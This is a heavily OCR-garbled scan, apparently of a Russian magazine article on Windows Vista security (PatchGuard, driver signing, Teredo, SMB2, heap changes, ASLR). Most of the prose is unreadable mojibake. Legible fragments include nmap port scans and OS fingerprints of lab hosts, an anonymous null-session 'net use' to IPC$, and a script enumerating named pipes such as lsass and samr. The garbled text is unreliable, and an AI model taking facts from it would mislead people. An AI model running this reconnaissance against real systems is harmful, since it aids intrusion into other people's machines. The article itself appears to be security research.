82 aéy 0TaT, ~0TA0 dacoaaTo+eé 1Ta efTTélcTaaol

TTiolp Ta6aNT1Todaea
Taad2iT catieoea yas
0aeaé fienoaia, a ot

08
TTAAADAEEA TTATAT £AEACA

(A xANOTTNOE: ACPI 2.0, PCI EXPRESS,
HYBRID-TTNEOAEAE E 0.A));

09

TTAAADAEA NOADTAT EAEACA
ETDTADAT 1 ITAT TAANTAXATER
CTAXEOAEUTT OOOATATA.

N eexs 0 A

0l TOTAG0EdTAATEY &/eEe daaseca-
0a4eeuiTé 3aaToa nefodia, aTeo-

daaefiod EIP, Microsoft Teéaé 7a ToddadedTaaca ia
TOTeNGTayIad, TadaEeTxeed 4810 Ta 6acdaaTo+eéTa
402643074, 4 6T0TO00 & d0iea TaTadoxeaia T@eaéa.
A 2340 Toé4ée TTATATTAT 0&Ta TTiy0 TTARAT &fio-
706 528280308 (& aafiTi fed+ad Tie Taiadoxesenl
4 a0aéa3d8ad To aaiila 1adeeTé 0T TT éTafe

Intel), @ TradaceTiiay nefodia 1a T64aTN0a4éyao

T8e yoT1 TNoAdea ATN0A0T+1Ta ETEe+aN0AT éacdae
a8y 1aéaaoe.
AT0 434 eep+8a04 0461 TETAS, ATABA0A TT-
aeaweany &tid a XP/Server 2003 SP1, iT aiTifie-
a

Q& 0TEUET fi TORETATT AéfoQ: eTT08TEl 64~
0e yada & TaycaodeuiTa 0ddaTtaarea oe-
Tarefie aey anad adaéadsra.

i fi ETTOOTEY 0AETAOTTROS VAda, aéy

ae06e0e8TaA0l YAOT, ATadzeéaayii a4 44T aio-
084 TTe48 05080080, 66aéTa TAedeatdsiuiT. Tascdé-

aaie, 0T afol da¢ T8Ti+40a TTHEaan0aeé anao are-
1Ta100 feodaoeé.

0481 TéT4eY Patch-Guard, d&aéectaaiiay fa
x86-64 fefioaiad, Téecaaia TTETeeol éTTa0 yoTi0
adcTadacep dac & Taafdaaa. 32-ae0iop addfep
Microsoft sa@ééa 14 65Taaou, TT €0, a T8To -
IT1 Neo+ad, TAdT1 iTa éTee+anoan

Toéacaee Al 4 5aaToa (TTadTaiTnoe iTeiT Taéoe

TapuadTiy yoTé T0Taéa1 Té: http://blogs.msdn.com/

9~~~

windowsvistasecurity/archive/2006/08/11/695993.aspx).
Eaé ecadnoiT, TradaseTiiad fencdia na-
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. &4 Mmaeym
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arene. Adz

cAad6cEe HBATY
eedtaaol €
0aa SDK a3Taeo 0anotaay oe-
&dzatiay NETAT «test» & TOAA-

0ABUTT &8y Toead

001840, T844Tn0aaeya
fioaa x86. T A

+410? A

Qo

ORATAAT, & O

kernel32 advapi
i 468AABUTT 804240
; NTDLL
Kernel Mode
User Mode
Object manager Registry Security
«Bypassing PatchGuard on Windows x64» 1a http://-

i i i?v=3&a=3&t= & A TOAcAToa- Inter-process
Hr]'rjforn]e,d;ofg/"]q?ﬁ(igj;Vm?’&a 3&t _sumry e_ avdacaioa Power Management P L Plug and Play
oee Aaiih booéTanéTé «Rootkit Hunting vs. Com- Communication
promise Detection», TTAATOTAEATITE 46y OAAada8l-
iTé éTi0AadaT6ee Black Hat: invisiblethings.org/pa-

L RNUAN AAI TN B8,
E‘%’S’[‘f““"YV\S'A‘i—bf?HLOPQEQ‘{e-Ppt aal aal aal Tia aa Memory Manager Scheduler 1/O Manager
a6éa e 6aéad TaiTadaiaii).
Hardware Abstraction Layer

AdBe08e06da yada 32-dacdyaiTé addnee Vista
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TTarefe +60aéoa & TOeoeaéuiTi atéd
nel-Mode Code Signing Walkthrough» To Microsoft:
http://download.microsoft.com/download/9/c/5/9¢5b2167-
8017-4bae-9fde-d599bac8184a/KMCS_Walkthrough.doc.

noatT a NA. TTadTaiThoe T ITéeoeed
T i

-9 £z

— T4 46440 e TTaTéne, a dag 14 46440 TTareéne,
8

i1 Teedd caddoceol céTadaaité adaéads,
aedevedopuiéé yaoT e ofivaiadéeadapieé root-
Axxi = G

a8aaodl To déac aa

MD Althorn (Pacifica) & TTaaad-

Q> == )
o —2
© Qe

a — «&8y 434eeTa»; Windows Messenger
a0eé 64a8aT 4ac GABTE-ERAT ca ; Y00 @8 6+anou
dacadéeé NetMeeting, aGoaniariaé Windows
Meeting Space; &t Microsoft TaéTTa6-0T ToTadaéa

Qo

+0T Longhorn

‘534
aii 7443, a ane

1T0Tada1 10, «Nédwadwop» anp & aiyou
& canoaaeawop TradaveTiiop nenoatd atoaniyou
6T4 40aéaddTa fa aené: www.invisiblethings.org/pa-
pers/joanna%?20rutkowska%20-%20subverting%20vi-
sta%20kernel.ppt.

E 6Toy d&aévey Microsoft atiéa 1
Ted ATTETETTé (TTadTadwl, TTaéTia

0
carono
pT

aeéal ToTha+edaceni a
BaéeTTalai 104 fidoe i ca-
aeaiTé daaoeysiTholp, faé-

+afl 10 1Teal atfifcaiTaeod

Longhorn, TadaiTrieeedi

TaTaiTedao0iT, 0xa farenai-

T0€ 8TA 0TOTTEMy cazmear
e & sarendaasny fi
aadeaace aaxa,
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OAEE
MICROSOFT:

01
CAUEOA TO TAEAADE (TPEEPUOEA);
02
OTPTTATEANATE
AUOANTATEA NOTH
NDUITEA;

03

TTCEOETIEDTAATEA NATAE NENOATU

CONTENT'A.

A003TAT «1TAAEU

0 a aanreao rdaée wikipedia:
http://en.wikipedia.org/wiki/Features_new_to_Windows_Vi-

, i
TOTAda1 1e8Taaol), TTadTaidad niTode: http://en.wiki-
pedia.org/wiki/WinFS.
Adbaay, +60i 14744 dacdaceaiesTaaiiay 6e+a
T4 Tacdaiedi NGSCB (Next-Generation Secure Com-
puting Base — ET1 1iipoadiay Aaca AdcTraniThoe 17-

anar ITéTeaiey) dacadéesa o6 ea 6+anou: http://en.wiki-

pedia.org/wiki/Next-Generation_Secure_Computing_Base.

casep+aied. Onoaita
sl 33

D -y D Qo
Q-
o o &
-
[¢Q

kipedia.org/wiki/Develop-
ment_of Windows_Vista.
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T8a+41034 6743 T Teel
OcTaol ec 2adéTé aenéofifiee,
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(AT http://minimsft.blog- 1
spot.com/2006/03/vista-2007- &2 Al
fire-leadership-now.html), ®

ATEU@ETROAT TTNO&OTA,

00 T2 06840, 10 11-
1 «OeEI0dTaa0l dacad»,

Do

a0aaeyy éc Tatiad

18238840 eT6T31268p.
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P AEOAETU EAAPGEITU
dp) NAOAATAT NOAEA VISTA
q) NAOAATE NOAE AENOU AUE TADATENAT N xENOTAT EENOA. T EOx@AT TTAADEA
TO MICROSOFT OAEAPU TA TTAEE E TAxOAOU! PAC TTAUE — CTAxEQ, AUANUDPTE
.H E TATDTOANOEDTAATTUE. ATAEECEDOR DA
ENNEAATAAOAEUNEAR EAATDAOTDER ETDTTDAOEE SYMANTEC TATADOEAEEA TADTIITA
ETEExANOAT AUD, xOT O&FA OEACUAAAD TAEDTIAGTTA EAxANOAT ETAEDTAATER.

NETEUET «NPDTPECTA» OAEONR ATOOPE YOTE OAAPE, TEEOT TA CTAAQ,

'oTradanao.
yo! Todoaa i

0Tané IPv6 4ac a
a éfeoaeit

& Thanou TTa TT1asT1 4380 (http://www.rfc-editor.org/
rfc/rfc4380.txt). Daceddarita Tréefared ra rriyoiti
daxd aey fanraceaeencta ycOea
a foaoud «Teredo Overview», TTéaée
Microsoft Tech Net: www.microsoft.com/technet/prodtechnol/
winxppro/maintain/teredo.mspx.

0
0l — Microsoft way, 4346
ell. OTEUET véacgiasar

ATATOY Ta Taeisad (I00ATTA08ATA 48y 4800T-
741 00), Teredo 76aTT06€80640 (6TaéTataado) IPv6-
082068 ai00dl IPv4-TagaoTa OTTH

TTéucoy ToTOTETE UDP, fié

- -
- o< O

[0

8Tél proxy-nadaada.



OfTagita Néaiedraaiea 1100Ta, ¢caédlold anodraiill a Aefod adaiaiadoyori

linux# nmap -PO -sT -p1-65535 10.200.200.127
PORT STATE SERVICE

135/tcp Ffiltered msrpc
139/tcp Filtered netbios-ssn
445/tcp filtered microsoft-ds
49152/tcp Ffiltered unknown
49153/tcp filtered unknown
49154/tcp filtered unknown
49155/tcp filtered unknown
49156/tcp filtered unknown
49157/tcp filtered unknown

lada-enéaiea eiaitaaiias éaiaéra ToT01€1€a SMB

xp> net use \\10.200.200.123\ipc$ Zu:z"" """

xp> c:\python24\python trypipes.py -m 10.200.200.123 pipes.txt
\\10.200.200.123\PIPE\netlogon

\\10.200.200.123\PIPE\Isarpc

\\10.200.200.123\PIPE\samr

lada+enéaiea eiaitaaiiiad éaiaéra rdororerea SMB2)

vista> c:\python24\python trypipes.py -m 10.200.200.123 pipes.txt
\\10.200.200.123\PIPE\Isass
\\10.200.200.123\PIPE\protected_storage
\\10.200.200.123\PIPE\netlogon

\\10.200.200.123\PIPE\Isarpc

\\10.200.200.123\PIPE\samr

linux# nmap -sT -p 445,999 -0 10.200.200.124
Fingerprint Microsoft Windows Longhorn eval build 4051
Class Microsoft | Windows || general purpose
TSeq(Class=TR%gcd=<6%1P I1D=1%TS=100HZ)
T1(DF=Y%W=0%ACK=S++%F | ags=AR%Ops=)

T2 (Resp=Y%DF=Y%W=0%ACK=S%F lags=AR%0ps=)
T3(Resp=Y%DF=Y%W=0%ACK=0%F lags=AR%0ps=)

T4 (DF=Y%W=0%ACK=0%F lags=R%0ps=)
T5(DF=Y%W=0%ACK=S++%F lags=AR%O0ps=)

T6 (DF=Y%W=0%ACK=0%F lags=R%0ps=)

T7 (DF=Y%W=0%ACK=S++%F | ags=AR%Ops=)

PU(DF=N%TOS=0%1PLEN=164%R I1PTL=148%R I D=E | F%R I PCK=E%UCK=E%ULEN=134%DAT=E)

(«10Ta+a0Té Taelbad» naocadtar noaéa Server 2003/XP SP2

Fingerprint Microsoft Windows 2003 Server or XP SP2
Class Microsoft | Windows | 2003/ .NET | general purpose
Class Microsoft | Windows | NT/2K/XP | general purpose
TSeq(Class=TR%gcd=<6%I1PID=1)
T1(DF=Y%W=402E | FB8B%ACK=S++%F 1 ags=AS%0ps=MNWNNT)

T2 (Resp=Y%DF=N%W=0%ACK=S%F lags=AR%Ops=)
T3(Resp=Y%DF=Y%W=402E | FB8B%ACK=S++%F l1ags=AS%0ps=MNWNNT)
T4 (DF=N%W=0%ACK=0%F lags=R%0ps=)

T5 (DF=N%W=0%ACK=S++%F | ags=AR%Ops=)

T6 (DF=N%W=0%ACK=0%F lags=R%0ps=)

T7 (DF=N%W=0%ACK=S++%F lags=AR%0ps=)

PU(DF=N%TOS=0%1PLEN=BO%R I PTL=148%R I D=E%R I PCK=E | FAUCK=E | FhULEN=134%DAT=E)
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NATTA & T0R0AATTA, +0
5Tagol 0BATAEYOTON fadAA
NAT'0) & A5AT4126y80, 138+

bafifiiTodeT aaa 6¢éa, catiet

acia+&rey Teaeadiy fé800 A Teredo-AATETALA,
4 IPv4 TTTA4230 24887 6c6a, «fi TOdYTIAAT> &
83780 & UDP-TT80 AaT T4T

, 1TeiT e ¢aéddo

IPV6, TT A3fT3ATYOR0AAT T TATTOEAA0 IPv4-TAgA0.
OT 24 AATTA TOTTREOMY & é 486381 catieoial 1ada-
feciai, faTTadadeeaapuel T8T0TéTéa Teredo.
ITyoT &0& <0T! TT4440=éa 1TA00 TOTOTET-
éTa — ana Th addiaie. TadadTa

Ta Aefio6 ToTa+a&o TA040T4 Ta Teredo, A TAJ40TA Ta
aay 8Taaeluiop 1adwddoecadep,

THEAAOTO0 IP-aadanad,

Tasdu... TTi 7eony, <0
fedTaae ar6odaiip

\

@d 5a8ad ¢Tado T f0d6e0084 catietia

TTOA 44 a0aéTaaod.
Tépfi éT afd1 6 Aefoa TTaaddeeaads eTéal
eyoep IPv4 a IPv4 e IPv6 a IPv6, +0T TTGaTéy,
a

Q.
=
>

e

fied0aacu efoei 04 6aedana aadana e 11800,
Toeaay 46aiaiadyda e a86aed catieoiGa ndaanoaa
TOTATAG0U NEBOTOEACTOE aTacec 08a0e8é], a yoT
fidacod ®ad 6adee-+eaadd TTod3alrTioe a Taiyoe
e TTuiThoe ToTOARATAA AT afdl e atodéapueie
Tofpaa TTREaan0aeye.
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[0

Aa... i TTyasaiedi Aefioa-0céTa a aTiiTa-
fi0adpIal IPv4-e70a8740a NEd&6ao Teeaaodl aTeu-
@&5 TTodyNATeé. ATo 0aeay Tia, A4¢TTaniThod, éT-

> TCP/IP. TanaiTi 4484, TCP/IP TeéT44a T4 éfi-
TTEUGOA0MY A «+eNOT T » Ae4Aa & afiddaa Ted0eAT nae-
T€ aNTT1 TAA046UTA0 TOTOTETETA, TOE+AT Aa83ET
e¢ T80 T6eil aT1aiaio TTél
Q! Toean+éa Microsoft Tedaou

fadofy Tae 6T57-
cadTaeo Aese a Tae-ATiaguan, caéa-
€0, 468-1a6 N eA00TTETE OOe &... TTEO+a-
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Segment #1
Segment #2
Segment #3
Segment #4
Segment #5
Segment #6
Segment #7

2
(=2
(-3
(-3

3353
66606
4444
0C00
3333
1111

Ethereal

111133335555

Linux RedHat8 111122334455¢66
Windows 2000 11112244445566
Windows XP 11112244445566
Windows Visia 11222244555566

bacgoeuoao naToée TCP-Taédoa i Taddédtaapuieieny odaataioaie 1a dacée+iad

TradaceTi1ao fenoaiad

T0 026 4 & caani. NavaaTé
+380 & R4y NE&A0P IS TOTOTETEN: ICMP, IGMP,  8Afl
IPV4, IPV6, ICMPV6, TCP, UDP, IP6,

43, 44, 249, 251. TTO0A@ERAI & RFC, 6836T 6434800-  4AA TaAda TASAE30AAPORY T2 100%, — 0T44A ToA-
1

fiy, ~0T aTaday TTéTaeia 1omo
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ed fuaage 0l 662820080, aT0 Tie & «Ndacaee
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Fragment #1
Fragment #2
Fragment #3
Fragment #4
Iragment #5

Fragment#6 hhhhhhhh1111111111111111

444440446666 666E
GERAARGRARAREGERAR\N
44444444844444444
4444444444444444
33333333

Ethereal

Linux RedHals
Windows XP
Windows Vista

1111711711171 1117113333333344444444444444446b6060000000000000
1111111111 11111133333333444444444444414466006000666006060006
1111111111111111333333334444444444444444066000b000066006
no dala received

bacgoeuoao naTdée UDP-Taédoa i Tadaédtaapuieieny odaaiaioa
Aefoaia

0 Aefio

AXQ A~ L ANaQ P LS

tracert), 8Toy afia yoT A+eodaaony a6oiai oTiTi € ATg-
4230 4TeUoa T8TAEAT, +a1 dawado.
0880000 TTH0TA 68agiaado 1a roe-
6 fiedea, Tanedzeaapied 6aa-
Eazaay 0asay iéoeda — 1ToAl-
1018, TABATTETYPpLIedY A004-

eé aho, Tasan

iy ~adae, a ate
040 Ta adTdaaz.
ATO TATTET0é ATeATe TTO0TA

T0660aaa1 0o
Nefod1Té & éTTOd0da0ee TT 61 Te+afep:

~ IPV6 UDP;

MS-RPC (135);

T NTP (123);

" SMB (445);

~ ISAKMP (500);

UPNP (1900);

~ WEB SERVICES DISCOVERY (3702);

~ WINDOWS COLLABORATION (54745);

— NTATANOTUE ATRNOOT E OAEEAT
E TBETOADAT (137, 138);

— TTDOU-TDECDAEE — (49767, 62133);

~— IPV4 UDP;

~ TEREDO (4380, 61587);

MS-RPC (135);

" SMB (445);

" NBT (139);

~ NRP 3540;

— IPV4 TCP;

~ P2P GROUPING MEETINGS (3587);

~ WINDOWS COLLABORATION (54744);

— NTATANOTUE ATRNOOT E OAEEAT

E TDETOADAT (137, 138).

EcTaéee I TOOTA TTATA084480 0aéadnéeeé
efoasan aciop 0a8T¢o adcTraniTioe
OTEUET 13 480&00 & 0T, 0T ana yoe fad-
aena daaeectaa ToeAaTe, 4a & Toedse oxa Ta-

+&fapo a0TTécaol. Eaé aeaiT, IPv6 ToTadaxado

y86, & aneé 10 caédtaadil Ta+ae
135-€ 1780 1a IPv4, 43T TATAGTAST T caédtol 026 xd &
falPv6, 6aAIT éaé & TaTaToTo.

A daiTéd 43040 680 caédnoey TT00Ta A0ET
Taradozeol, TTAETENEO Tde TTT0084a
daefaiey i TandnianoaopuieT TTo0T1

74 ATcadaceaoed Taddoa i vaeel

onoaiTaeagea nrtaaeraiey, ana-

N

0T TA& TOTdadéd ATTaviaiey ia TanotIanoadcp-
téé UDP IPv6-TT80 AT fied TTd aTcadatiadony

O N

ICMPV6-fiTTat1ATe4 Ta T@eaéd, TIyou-0aée TTCaT-
&y T1d& Toge+e0i TofooM0aop t1ed TT800 TO TTA0T4,

cae300006 43ATATA6YSTT (8efioeTa 1).




gavee! A SMB2 yoTo AiTeATe TTITéTeéfy éarasaie
«protected_storage» & «Isass», TT

T
Giip fiéderoa trypipes.py, ad

i
&48TOTO0A e¢ 1e0 (ServerAlive2, OXIDResolver, etc), &

ACT anyéTé adoTdecagee!

ITEUC

feony, ddaéoey Microsoft a0iéa 0aéTaa: «SAMBA —

a Microsoft 1adaieciTi
18163468 Remote Procedure Call
00é dafTaThoda-

AAAGENU « TTAAPET I »
IEAOOTD 10 X86-64, IDAADAOEA N

61

Teredo Server

Obscured Obscured

Ter Prefi FI

eredo Prefix IPv4 Address ags External Port |External Address
< 32 bits 7S 32 bits K 16 bits 7S 16 bits K 32 bits %
Nosdoeosda cai aéa Teredo-Taédoa n «cageddTa G1>» (obscured) efoceiTTal

64edaai 1Td

ATT
+afée ATCAAA0NY i

yoT TaTdadeeluiaé eeearo, TTélcoéodnl woaoidie

AAAAAAAAAAAA ~0 s

A0TOaRAAT

TOTadde0

[=]
c:

caf

oera.

€ aasdanTi

0 TT1
fiGiéadony

40: dacd0aaol
&ATT04 2400

628, a01323300 N&AY ca A004TE 6caé & ToT+44. 1T afd
yOT — NOOTAT & 6a18a0 ETéaé 1
a0aoued aasnee windows,
cadaaoee ed IP-aadan, aare

&Téa&l 100 Ethernet-iia-
1600801y MAC-2804-
eaadony TCP/IP, eATTel-

08u0a0a +aaT, éaxané

LEGEGEEWSEELN]

UTTé fidoe, Toe+&1 10a- a
Taradoxeea, 0T 06aéad &
e T iT U

fioli probe-6acq, a 0aé &

AR AL 0 PN
1

6 afyeTé Tradaderin

AL maASx xxaf8s
€66 6aéao cadafaa ¢

oai

1, e4iT0ed0po-
TOTaTee0480-

2
a

PR

ATa008TEé») fi 6aaga ®IT 0T0y &
ATTITAlP ¢TaTATe0Té 60eeeol nmap. A +afioiTioe,
aey fioé
AaToi

Ea : !
ATeiT TTRéadl TCP-Taédo i Taddédtaapuie

T0d&00 Ta BACOEH0A0

www.symantec.com/avcenter/reference/

ATR-VistaAttackSurface.pdf

TTA0TAT(é afagec TATAATITNOAE TTATAT N40AATAT
fiddéa a noaoua.

a6iey0, ecadnoras
adéaie Windows Vista &
Windows Server Longhorn, éazéaay eg é7-
0TO00 T8AAM0aa6aTa & 4200 daaacoeys —
TT4 32-4€010p (x86) & 64-4e016p (x86-64)
T8200TA1 0. Afiée dagiesa Ta=40 iadaa-
OT1 e 0aaT+aé Noaioeaé T-3aeafae 1a
0044040 ATTTETE04EITO0 6T 14102043,
0T 1038 afoaa e Taamn iné

=
(=2
IS8
(=}
SN
o
o> o
o o <
(=3
o O =
o

afioaa e raaThoaoée 64-ae0ité
daaagoee caneoeeaapo 8acaadi6oTar

rauyiiaiey.

NT, T
3040001600 AT dac TT0d0e TadaoiTé

g Noa a g T P
aTTcaTéeée Microsoft'd TRTTAA0AEUTT

T 4081 Tioe. E 670y fiTa afioe 1 Thod and-
0aée TTrodadaea (TefiTeé TanTatanceas

ToTaoai 1 1TeiT faéoe fa www.iexbe-

[

ta.com/wiki/index.php/Windows_Vista_Be-

ta_2_Software_Compatibility_List), iT afia eea
T4 N0TEU 0a46EABITT, Baé & 64-4801T6 448-

ATiTTéicTazameni
AMD, Microsoft Tadaianéa
x86-64, T64382084 Nef0aT 6 & TafdTy
B0 (6Toy d3ceat a 6addyao fan, <0
8OATTOU). ETATIT 4 64-4201T¢

A 2o

000 ia

T caani 6edoTaay TTarenl adaéadsta
JA01Y TAycaoasliTeé, a ToReEaATTaT 16T-

Afia yor fiad

iTITéécaoee 80 Téanenoal 1at roTadaiie-

Taé fiefoai O éaé catiear imé 1o ada-
&daea premium content'a, <07 T+a10 182380y
ATé6ea0a0 & 400481 T440A-1a4Ta0aT . ATOl-
44 fi Taéaadip — anaaT éeai T928d0084!
Trioadony Taadyoury, 0T 60 TT+1a
&Y x86-64 Te8T44a 18 Téaseaony Tane

¢Ta+@08601TTé, +0Tal Microsoft il Taéa TT6T-
dTieol 32-a38fep Windows, éé@éa Tai aT¢-
TT2iThoe 4047183, a A0488a0( 1Eaa0a0 &1
T x86, 041 4T&44 0T Intel A0TOROREA 6AA+-

-
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1Tl
http://go.microsoft.com/fwlink/?Linkld=67468 & 4TE€0T &T-
04 download.microsoft.com/download/9/c/5/9¢5b2167-8017-
4bae-9fde-d599bac8184a/kernel-en.doc.

A T48a6p T+A04840, Ie&&040 ToTa0eol (0T afol
anoe) 666+@aTT6p TTa4a8280 NUMA-TAT yoe,
L erver 2003 SP1 e Tof60-

AACTTANTTNOU
VISTA KERNEL

RADT AENOU TDAOADTAET T ITAANOAT ECTATATEE: ONEEEEANU (TA)AACTTANTTRNOU,
ATAAAEEENU TTAUA AUDU, TTOETEGAOER ATNOEAEA OAETAT TPAAAEA,

xOT CAOTDT TCEEA AAZA AAORAADTUA TDTOANNTDU... ATTDOAEAGENU BAAAPUET
INTTOPET, EAEEA PAAEUTUA TADATATU
TOTECT@EE NT ADATAT XP ENOTEO EE YOTO TP TADANN OTAT, xOTAU CA TAAT TEAOEOU

eddTataa-  dad eée TETOANNTAA0 i TTaaddxeTé AWE, yoTo @ad

e D<
S
o3
5
o
S
.

AETEUET 1T1-
4008 API-O61éoeé: VirtualAllocExNuma..., Node),
MapViewOfFileExNuma(..., Node) e CreateFile-
MappingExNuma(...
=0T TTOTE TOA&1N

fi
iptors
VADs) TTGATES0 464aT-40aé4a-
TTélcTaaol atciTea
0Tadazay aead
04T TOeeeaairnos 1o
ec Nedadcpued o
cached, non-cached, write-combin
RAM mappings. YoT, T&ATT 1. |

fi
3Ta, 1T Teéaé 7a néazao
0363€.

=) =

system
06280700 0dATE6 eTedeasece
foaseys caidocee TRe, 54cadaed6y
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HEAP

0TOAaa Naada o
Teai. 1T 4aed
2€0860UTOE dAc6E0a0. Troele-

fiodaieod, daidd Taudae-
linked list), 04Tad80 TT-
4 AVL-a484aliy, aap-
aciadad Oacea TTada+-
a4a60. A 1a 64 1ai

da0p T+ad34l T da-
& fa dacd OpenBSD
Aolp & TOTEecATAROAS-
0480, +&1 6 Aenoa/Server

, 0aé e aroodai-

o0daieod atasdoxa-

i
ATST-4T, T0& ATAGATATT(0 TAUAT A0 eafioéed aef-
[ o A

:

3088 — 08 d04el» (i) PafeTelTeéTa.

Ta aTETA TAUIAT €5TATE 0ATadT0ee d6Taase-
caoee ofeeeeani efoaasaoey
TTaéa+ée fi aéfiéTadi éywal,

Ta aené e NasTn 4eféTand 4604s6Ta T

2 2

8y 44 «iTNaadé»,
46460 a0asoeaia.

el édeoe~iT, — 10T-

0286 8-
TTRETEU86 & epaTé
TaoiTeredu

daxdoa Haéea
+&3T TaUAfoaarn-
ThoU 08 &43ATT xaaea. 04T&dU AAGTA fodaies

8 —] 8
16 16 16
Free lists
1024
S1K Non-dedicated free
list (1-512 Kb)
Segmentl
Segment2
Segment3
Segment arra
Segment64 9 Y
>512 K >512 K
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0, x0T EPARO OAERAO. E OTEUET

,ETAAAET TAURNIRPO ITDT

«NTATEOTTOP NOTET TNOU

AEAAATER», TITE TADAACEAPO TANT,
TAPAOTAR A EAOAATPEDP 0A0,
EOT «1AEAD».
ATTONOET, ANOU NAPAAD E ANOU NATE
AECTAN. ATTONOET, xAN TBTNOTR
NADAADA TAOTAEONR A $100, A OAUOEE
TO TTOADE/EDAZAE ETOTDIAOEE
NTRNOAAER PO $100000. OATABU
TTANXEOAAT xANOTOO TAAATEE NT
TTAET AR TAAADTROTTNOU
AOAEE. TT AATTUT PACEExTUO
AARATONOA, AEAATATT TEPTAUA
ETITATEE OADRPO TEEEEAPAU (1)
ATEEADTA, TBExAT O TTAAAERPUAAT
ATEUQGETNOAA EC TEO ONOATTAEATA
OA EEE ETAR AADNER NT.

110 EUCOPO XBSD/LINUX

UA EPAE ENTT

'TOT10, x0T T1 AANTEAOTUE,
T10, x0T NOUANOAOAO OAETA

BOEA, EAE «OXAO DEN ETA».

'ATER EAAO

A
ATTPAAAATTUE DENE, CAxANOOP
A S,

NOOTAR TA TATE E OA £A ADAAEE
T

TTyoU-0a8€, 5ada80adal a TATTATTI aey 1adaddTa,

a BaadT+éa noaioee as03apo &eféTi oTeud

& facOaaaiay é
UAanoaTaaied TOETEPATOOT:
10 .NET), Taéaaado 18T7adai 1

Jeé danoTaaie, TATaar

eaara

THETeléo atadeaied Tagaiiee

>

ETTTEEY0Toa, Tadatiaptiayiy é Trada-
OTEUET A «TToTad 1 e» caéacaie.
feolu oeo+waiey, éanapudany
TOTO0 fefodT, Aefioa Toee+adofy To
XP 0TEUET O61aTUgdiiTé Odajdiaicacedé éo-
+@ (the low-fragmentation heap — LFH), yadeéfioé+afi-
éeie agdToeoiaie, aaoTiaoe+anee rrancdaeadap-
Gl eny TT4 6a6a80ad caTdTina Ta atiadedied raiy-
08, & TOETRATITE (lazy) eTeveacecanedé.

Taf+&0 OO/adiaicavee — ToEdTAATITA
adarud. Odaai&ioasey eo+e ToeaTaeod 1o ia
& Tadaiep TOTEcATACOABITTI0S, & & TAATCI Tee
08 atadeaiey TardasoaitTar 40
BaciadTa, 6Toy 1T «Bonéat» NATATATTE TaTyoe 11-

=\ =) o

o n £ N en A 9 XA 2 <A -
2ao atol anTofe dag atélioa. 10eéTzeaiea 10

Toéachiaado a 8aadToa, TTéacaaay, éa

fitcaacdet. N IToTaguiaie roTadaiiaie oaé
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Physical Address

Pages Table Entries

8
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o >
= >
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’ Virtual Address

Virtual Memory
Nosai é 820a&Ta (Page Table) 68aT&0 ATTOAA0M0ASA TAed0 Oece+aneel e aa

e fodaredalie aedodaguiTeé Taiyoe (virtual memory)

) e
=
-/

) Do =)

NTCAATEA
CAUEUATTUO
AARTDTATATUO
NAOAE 802.11

A MICROSOFT
WINDOWS.
NTPAAT<TEE
TEOTOANNETTAEA
1. EcAa08&0f0at
«YET T », 2006 / Ayaé
Ae. / 400 fiodaies

Té idoe, da

danaie (physical address)

oapued i Windows XP,
Windows Server 2003
e Windows 2000, fiT¢-

dafed adoaioededave-

| pa—

Byl h A

Physical Memory

™ O
-—) O
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) @
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o
Do
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O
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O
Q
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lp ToTOTETEA



age
TTeiT TT=a8TT000 €¢ 4éTaa http://blogs.msdn.com/micha-
el_howard/archive/2006/05/26/608315.aspx. 0a1 &azed TOEAT-
Teediey fienodi 1ad

fieéd Tadacaasocee:

aacTand aasana raéToTaaod fenod 1as
424887046 4 Aéfod

wsock32.dll (0x73ad0000)
winhttp.dil (0x74020000)
user32.dll  (0x779b0000)
kernel32.dl1 (0x77c10000)
gdi32.dll (0x77a50000)

A3GTAOA 2454 040 @4 AAT 0I5 A8488T04E
V64 TA84cAB0CEE fiefodT O
wsock32.dl1  (0x73200000)
winhttp.dll (0x73760000)

user32.dll  (0x770f0000)
kernel32.d11 (0x77350000)
gdi32.dll (0x77190000)

shell-éTa.
libc, TTMé
UNIX-fiéf

P

a a Windows 6aéad

65

ae

ote

16 640 6eTA.
E 1 106 6a6s (268
Toef 4 & aeaseToace)
faen oT &1 40T T0Y-
505 A0CTATA KERNEL3? DLL A0a8s .
SRTTEICTAROl DAABEH0 &1 TT0A 086 RTL BAGES

éf04640 1a €6+0, Thoaaeyy
154416acoaTTé ei0ToTa-

aTaoa Ay T +afo
iT 4 &g 186. Oagoe+anee, «oafTada» NenoaTiad TaaiT | NT (33& TT ecaanoar 1Ta
Session 0 Session 1
Application 1 Service 1 Application 4 Application 5
Application 1 Service 2 Application 6
Application 1 Service 3
Session 2
Application 7 Application 8
Application 9
4 RATTE Ranfee, +oT & TdeeTaeATey TASATAT AToAATAAT
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Session O
Service 1 Service 2
Session 1
Service 3 N s
Application 1 Application 2
Session 2
Application 3
Application 4 Application 5
Session 3
Application 6 TaNTFS-8acaaeads T
Application 7 Application8 TarTdeac84380
Application 9

Tiecaveé 1TelT ToT+e0aou

Address_Space_Layout_Randomization.

0786 (1) a
A Microsoft. Tfid

EfoToey Ta+aéafii & adaonoa 2002 ii Toaeeéa-
6ee Edena Tyaedoa (Chris Paget) «Exploiting design
flaws in the Win32 API for privilege escalation» («Efi-
TTélgTaaTed 440460TA TTaé0edTAATEY WIin32 API
a aTToTh: «<ETa4a T aéy O@aiey T8eaeEaieé»), TT
T1Te8y0To0?». i 0é odpe. Ta

T406-0T, 4T Microsoft AT@aé 0To 680,
8040 i TOEAeEAdEY T & system Ta&i-
ee yo { 0 éTa-éaé e +adac 0aé1a0, daaToaprieé a éTT0aénoa oy¢

2

0AAT TR0, TOTI
10 T84RR0.
Windows §
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indowsVIsta

y your worid

J J
d 4

a
ao fi0d 0T
a TET T0
aorti a
REEE AT
aey T, 8
a

MICROSOFT
WINDOWS VISTA. N

dows 98 Ta fa yo i

& ® 1776 TracaceTi
400 fiodaies doceanon 17 0¢, aMOOTATTOA TO6ET-  é@pll TAATEUBTIO +6fiés DoS-a028, &
Daco1 fay vafa: 172 6. &TT0UAY i i ®aiey... N Tigesee 40T fg6+ad, ahse T4 Oi0ATTABAT i

0ae, aTAiTad aaTeiendoacToa oafi-  1ed careacse ©

E 104841 & Windows 62 T TOdAT ) .
Vista 114140488400 & Vista build 5308 & build 6T5& 2 AeRdaT O o o e 15 o 141408 & Vista
0y 164881 Y «TOTOf- 5342. 00 i1 Tedol o4 & TORETRATRS, bitpblogs.msdn.com/michas|_howard/archive/

2006/05/26/608315.aspx

&T1» Microsoft —
: TTadTATTioR T d4asecasee aslr

fi 2001 a, éTaaan

www.wehnus.com

Taédo pax a6y nt (wehnus)

o AR ) . en.wikipedia.org/wiki/address_space_layout_randomization
